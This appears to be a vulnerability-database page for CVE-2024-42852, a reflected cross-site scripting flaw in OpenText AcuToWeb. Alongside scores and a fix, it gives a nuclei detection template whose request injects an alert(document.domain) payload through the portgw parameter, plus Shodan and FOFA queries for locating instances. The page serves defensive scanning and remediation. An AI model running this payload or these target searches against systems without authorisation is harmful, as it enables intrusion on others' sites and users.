HexBrain

Browse / CVEs / CVE-2024-42852

CVE-2024-42852· opentext / acutoweb· CWE-79

AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.8%likelihood of exploitation, next 30 days
56%of all CVEs are less likely
Readycheck to confirm it

AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.

Impact

Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.

Fix

Update AcuToWeb to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the portgw parameter.

How to confirm it

Send: GET {{BaseURL}}/?portgw=80089948;%20alert(document.domain)
Positive when: contains "80089948; alert(document.domain);" and "WT_GW_PORT" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-42852 -u <target>

The full check
id: CVE-2024-42852

info:
  name: AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
  remediation: |
    Update AcuToWeb to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the portgw parameter.
  reference:
    - https://github.com/Hebing123/cve/issues/64
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42852
  classification:
    epss-score: 0.00768
    epss-percentile: 0.55885
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-42852
    cwe-id: CWE-79
    cpe: cpe:2.3:a:opentext:acutoweb:10.5.0.7577c8b:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: opentext
    product: acutoweb
    fofa-query: title="AcuToWeb"
    shodan-query: title:"AcuToWeb"
  tags: cve,cve2024,xss,acutoweb,opentext,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?portgw=80089948;%20alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "80089948; alert(document.domain);"
          - "WT_GW_PORT"
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from